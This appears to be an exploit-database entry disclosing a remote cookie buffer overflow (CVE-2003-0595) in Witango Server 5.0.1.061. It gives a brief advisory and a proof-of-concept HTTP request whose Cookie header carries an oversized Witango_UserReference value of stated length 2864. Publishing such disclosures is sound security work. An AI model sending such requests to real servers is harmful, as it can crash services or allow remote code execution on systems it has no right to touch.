Witango Server 5.0.1.061 - Remote Cookie Buffer Overflow

Author: Next Generation Software
type: dos
platform: multiple
port: 
date_added: 2003-07-18 
date_updated: 2012-11-26 
verified: 1 
codes: CVE-2003-0595;OSVDB-2295 
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source: https://www.securityfocus.com/bid/8224/info

Witango Server is prone to a remote buffer overflow vulnerability. Remote users may be able to send an HTTP request to a Witango server with a cookie containing a specific variable set to an excessively large value. Remote code execution is possible.

GET /ngssoftware.tml HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,
application/x-shockwave-flash, */*
Accept-Language: en-gb
User-Agent: My Browser
Host: ngssoftware.com
Connection: Keep-Alive
Cookie: Witango_UserReference= parameter length 2864